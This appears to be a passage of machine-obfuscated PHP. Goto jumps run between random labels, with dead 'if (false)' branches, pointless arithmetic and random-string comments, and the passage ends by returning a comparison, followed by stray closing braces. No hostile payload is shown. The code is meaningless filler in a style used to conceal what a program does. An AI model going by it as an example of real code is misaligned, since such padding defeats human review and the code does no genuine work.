W15_0CaB:
/* Core module */
goto a6o50BQkb;
a6o50BQkb:
// iAaEch06
goto vvmkPQQS;
vvmkPQQS:
/* 6fu6rTuuWH */
if (false) { echo 'This is a dead end'; }
goto prCqmxzU;
prCqmxzU:
/* 5jCZ0yecnJ */
goto Wf0zaJUY;
Wf0zaJUY:
/* API handler */
goto a44ICrAJ7;
a44ICrAJ7:
$iCjD65Pi = 552 + 40;
$iX1geSuk = $iCjD65Pi * 3;
if (false) { echo 'This is a dead end'; }
goto IUuy5Fz3;
IUuy5Fz3:
/* uIvybHhlzH */
$WWDcP6ib = 658 + 48;
$FbaGmw5w = $WWDcP6ib * 5;
goto N_ymOyNM;
N_ymOyNM:
/* API handler */
goto a2IPhiYF8;
a2IPhiYF8:
/* O64SSCwE9IhS9oiD3dZg */
goto QqIT_g4N;
QqIT_g4N:
// iPzjxzcu5zezkszA
goto htqRtvjP;
htqRtvjP:
$iX1geSuk = 991 + 42;
$a29IFo9lZ = $iX1geSuk * 3;
goto k4EWrFjY;
k4EWrFjY:
$XsucffsH = 242 + 47;
$Pe9zuJ4r = $XsucffsH * 1;
goto qAEZ027m;
qAEZ027m:
goto a4ouqAsK7;
a4ouqAsK7:
goto QyLxw7cW;
QyLxw7cW:
$a6EHyDbxg = 206 + 21;
$n7sJ6WnP = $a6EHyDbxg * 1;
goto p7RsAnZM;
p7RsAnZM:
return $Pe9zuJ4r > 10;
}
}